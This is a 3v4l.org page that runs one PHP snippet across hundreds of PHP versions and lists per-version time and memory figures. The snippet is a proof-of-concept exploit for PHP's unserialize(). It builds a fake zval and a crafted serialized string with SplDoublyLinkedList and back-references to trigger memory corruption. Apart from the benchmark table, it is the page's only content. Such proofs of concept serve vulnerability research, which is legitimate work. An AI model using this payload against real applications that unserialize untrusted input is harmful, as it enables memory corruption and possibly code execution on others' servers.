3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $ryat; function __wakeup() { $this->ryat = 1; } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'i:1234;:i:1;'; $exploit = 'a:5:{i:0;i:1;i:1;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;a:1:{i:0;R:5;}i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}'; $data = unserialize($exploit); var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0090.00618.43
8.3.60.0110.00716.63
8.3.50.0130.00921.93
8.3.40.0090.00618.67
8.3.30.0120.00918.68
8.3.20.0070.00020.34
8.3.10.0080.00023.41
8.3.00.0030.00619.38
8.2.180.0160.00018.16
8.2.170.0100.00322.96
8.2.160.0100.00320.39
8.2.150.0080.00024.18
8.2.140.0000.00724.66
8.2.130.0000.00726.16
8.2.120.0060.00326.16
8.2.110.0070.00421.21
8.2.100.0080.00417.72
8.2.90.0050.00319.25
8.2.80.0030.00517.97
8.2.70.0040.00417.50
8.2.60.0040.00418.04
8.2.50.0080.00018.07
8.2.40.0050.00319.26
8.2.30.0030.00620.66
8.2.20.0000.00817.86
8.2.10.0000.00918.14
8.2.00.0000.00818.02
8.1.280.0160.00325.92
8.1.270.0060.00323.67
8.1.260.0030.00626.35
8.1.250.0080.00028.09
8.1.240.0060.00323.83
8.1.230.0050.00517.52
8.1.220.0000.00817.74
8.1.210.0000.00818.77
8.1.200.0030.00717.36
8.1.190.0040.00417.25
8.1.180.0030.00618.10
8.1.170.0040.00420.37
8.1.160.0040.00422.09
8.1.150.0040.00418.86
8.1.140.0050.00319.51
8.1.130.0030.00317.68
8.1.120.0000.00817.50
8.1.110.0050.00317.48
8.1.100.0000.00717.44
8.1.90.0030.00517.48
8.1.80.0040.00417.51
8.1.70.0030.00317.55
8.1.60.0040.00417.49
8.1.50.0080.00017.53
8.1.40.0080.00017.58
8.1.30.0050.00317.70
8.1.20.0020.00517.61
8.1.10.0000.00717.54
8.1.00.0060.00317.49
8.0.300.0060.00318.77
8.0.290.0000.00716.75
8.0.280.0050.00218.39
8.0.270.0030.00317.19
8.0.260.0060.00017.34
8.0.250.0070.00017.05
8.0.240.0000.00716.93
8.0.230.0000.00717.09
8.0.220.0000.00716.97
8.0.210.0000.00816.84
8.0.200.0000.00716.93
8.0.190.0080.00016.91
8.0.180.0000.00716.90
8.0.170.0040.00416.89
8.0.160.0040.00416.90
8.0.150.0070.00016.93
8.0.140.0050.00316.81
8.0.130.0050.00013.37
8.0.120.0000.00816.80
8.0.110.0000.00717.00
8.0.100.0040.00416.78
8.0.90.0040.00416.89
8.0.80.0120.00916.99
8.0.70.0040.00416.88
8.0.60.0040.00417.11
8.0.50.0000.00716.93
8.0.30.0120.00417.06
8.0.20.0090.01017.40
8.0.10.0050.00317.06
8.0.00.0080.01316.81
7.4.330.0000.00515.19
7.4.320.0050.00216.64
7.4.300.0000.00616.54
7.4.290.0000.00716.45
7.4.280.0030.00616.55
7.4.270.0030.00316.56
7.4.260.0070.00016.61
7.4.250.0040.00416.49
7.4.240.0070.00016.54
7.4.230.0070.00016.60
7.4.220.0150.00316.48
7.4.210.0100.00616.74
7.4.200.0000.00816.66
7.4.160.0000.01616.66
7.4.150.0140.00417.40
7.4.140.0140.01017.86
7.4.130.0130.01316.47
7.4.120.0110.00916.52
7.4.110.0100.01016.58
7.4.100.0110.00816.53
7.4.90.0150.00316.55
7.4.80.0080.00819.39
7.4.70.0120.00416.57
7.4.60.0100.01016.45
7.4.50.0070.00016.75
7.4.40.0160.00916.55
7.4.30.0090.00916.55
7.4.00.0080.00815.09
7.3.330.0030.00313.40
7.3.320.0060.00013.39
7.3.310.0030.00316.26
7.3.300.0030.00316.36
7.3.290.0050.00916.39
7.3.280.0070.01016.41
7.3.270.0060.01317.40
7.3.260.0180.00416.60
7.3.240.0170.00216.68
7.3.230.0110.00816.41
7.3.210.0030.01516.48
7.3.200.0200.02616.52
7.3.190.0080.01216.53
7.3.180.0070.01116.79
7.3.170.0070.01716.64
7.3.160.0000.01616.48
7.2.330.0040.01316.54
7.2.320.0090.00916.71
7.2.310.0090.00916.62
7.2.300.0090.01616.74
7.2.290.0070.01116.60
7.2.60.0100.00316.84
7.2.00.0040.00819.45
7.1.200.0080.00815.91
7.1.100.0030.00718.07
7.1.70.0000.00717.11
7.1.60.0060.01819.48
7.1.50.0040.00817.02
7.1.00.0030.07722.36
7.0.200.0390.00314.68
7.0.100.0170.07319.97
7.0.90.0030.07719.95
7.0.80.0070.05719.95
7.0.70.0100.08019.94
7.0.60.0170.06720.06
7.0.50.0430.07320.17
7.0.40.0030.07720.19
7.0.30.0100.08320.05
7.0.20.0030.05020.09
7.0.10.0070.08320.03
7.0.00.0000.05320.17
5.6.250.0100.08020.58
5.6.240.0170.07720.61
5.6.230.0130.07320.57
5.6.220.0100.08320.62
5.6.210.0030.05020.67
5.6.200.0030.08321.06
5.6.190.0130.07020.95
5.6.180.0070.08321.18
5.6.170.0100.07721.13
5.6.160.0070.07721.07
5.6.150.0030.04721.05
5.6.140.0130.07321.13
5.6.130.0030.08320.95
5.6.120.0070.08020.95
5.6.110.0070.05321.09
5.6.100.0070.04021.02
5.6.90.0030.09720.98
5.6.80.0100.07320.51
5.6.70.0070.07720.43
5.6.60.0100.07020.41
5.6.50.0100.08020.50
5.6.40.0070.08020.30
5.6.30.0070.06720.38
5.6.20.0070.07720.47
5.6.10.0030.07720.40
5.6.00.0030.05020.42
5.5.380.0100.06020.58
5.5.370.0030.07320.39
5.5.360.0100.06020.38
5.5.350.0100.06320.34
5.5.340.0030.05020.81
5.5.330.0100.06720.82
5.5.320.0170.04720.88
5.5.310.0070.07720.79
5.5.300.0070.06320.85
5.5.290.0070.08720.94
5.5.280.0070.08720.89
5.5.270.0070.06720.64
5.5.260.0100.07720.90
5.5.250.0070.08720.59
5.5.240.0070.04320.28
5.5.230.0130.07720.29
5.5.220.0100.07720.11
5.5.210.0100.04720.20
5.5.200.0030.08320.27
5.5.190.0170.05720.25
5.5.180.0030.05720.14
5.5.160.0100.04020.16
5.5.150.0130.07020.26
5.5.140.0070.07020.13
5.5.130.0070.03719.98
5.5.120.0100.07319.98
5.5.110.0170.07720.13
5.5.100.0100.04320.11
5.5.90.0130.07020.22
5.5.80.0130.07320.08
5.5.70.0030.08020.16
5.5.60.0130.04020.17
5.5.50.0100.04019.95
5.5.40.0070.06320.08
5.5.30.0100.04020.06
5.5.20.0030.08020.17
5.5.10.0130.07020.13
5.5.00.0000.08720.01
5.4.450.0130.03319.49
5.4.440.0070.06719.37
5.4.430.0070.03719.27
5.4.420.0070.08019.43
5.4.410.0100.04019.43
5.4.400.0030.05318.88
5.4.390.0070.07719.17
5.4.380.0070.07719.13
5.4.370.0030.07718.97
5.4.360.0030.04019.13
5.4.350.0100.04719.13
5.4.340.0100.03319.13
5.4.320.0100.07019.21
5.4.310.0100.06318.86
5.4.300.0130.07019.18
5.4.290.0070.05019.05
5.4.280.0100.07319.04
5.4.270.0130.04719.21
5.4.260.0100.06319.03
5.4.250.0100.06718.89
5.4.240.0070.08719.13
5.4.230.0100.04019.13
5.4.220.0100.07719.04
5.4.210.0130.06719.05
5.4.200.0070.07319.04
5.4.190.0100.06719.02
5.4.180.0070.04319.13
5.4.170.0070.08019.04
5.4.160.0100.05319.03
5.4.150.0100.07318.93
5.4.140.0130.06316.50
5.4.130.0170.07016.46
5.4.120.0100.07016.48
5.4.110.0000.07316.45
5.4.100.0070.07316.40
5.4.90.0070.07016.45
5.4.80.0130.06316.46
5.4.70.0100.06716.43
5.4.60.0100.06316.37
5.4.50.0100.07016.46
5.4.40.0000.06016.45
5.4.30.0000.07716.48
5.4.20.0130.06316.29
5.4.10.0030.05016.48
5.4.00.0070.06315.90
5.3.290.0130.06314.66
5.3.280.0130.07014.55
5.3.270.0100.07014.68
5.3.260.0170.06714.55
5.3.250.0100.06314.74
5.3.240.0130.06714.68
5.3.230.0000.08714.66
5.3.220.0100.06714.56
5.3.210.0030.07714.68
5.3.200.0100.07314.64
5.3.190.0100.05714.56
5.3.180.0170.06314.56
5.3.170.0070.05014.69
5.3.160.0030.07314.70
5.3.150.0070.07014.57
5.3.140.0130.07714.56
5.3.130.0070.07314.57
5.3.120.0030.08014.54
5.3.110.0130.07014.70
5.3.100.0130.05314.15
5.3.90.0070.07014.00
5.3.80.0070.07314.09
5.3.70.0030.06314.16
5.3.60.0100.03713.99
5.3.50.0170.06314.07
5.3.40.0100.06713.95
5.3.30.0100.05713.96
5.3.20.0100.07313.63
5.3.10.0070.05013.60
5.3.00.0100.06713.71
5.2.170.0000.05711.22
5.2.160.0070.05711.29
5.2.150.0100.05011.07
5.2.140.0070.04711.26
5.2.130.0030.04311.17
5.2.120.0030.05310.99
5.2.110.0030.07011.13
5.2.100.0100.05311.13
5.2.90.0000.04311.22
5.2.80.0070.06011.18
5.2.70.0030.06311.02
5.2.60.0030.06711.18
5.2.50.0070.05711.08
5.2.40.0070.04310.86
5.2.30.0130.04311.05
5.2.20.0030.04711.03
5.2.10.0070.05710.85
5.2.00.0030.06010.84
5.1.60.0030.05310.64
5.1.50.0130.04710.64
5.1.40.0030.04710.64
5.1.30.0030.05710.64
5.1.20.0070.05010.64
5.1.10.0030.05710.64
5.1.00.0000.04310.64
5.0.50.0100.03310.64
5.0.40.0030.04310.64
5.0.30.0000.04710.64
5.0.20.0030.03710.64
5.0.10.0070.04010.64
5.0.00.0100.02710.64
4.4.90.0030.02310.64
4.4.80.0030.03310.64
4.4.70.0000.03010.64
4.4.60.0030.03310.64
4.4.50.0100.01710.64
4.4.40.0030.05310.64
4.4.30.0030.03010.64
4.4.20.0100.02710.64
4.4.10.0000.04010.64
4.4.00.0030.04310.64
4.3.110.0070.02010.64
4.3.100.0030.02310.64
4.3.90.0000.02010.64
4.3.80.0000.05310.64
4.3.70.0000.03710.64
4.3.60.0030.01710.64
4.3.50.0030.03710.64
4.3.40.0000.04710.64
4.3.30.0030.03010.64
4.3.20.0000.03710.64
4.3.10.0030.03310.64
4.3.00.0000.01710.64

preferences:
32.71 ms | 401 KiB | 5 Q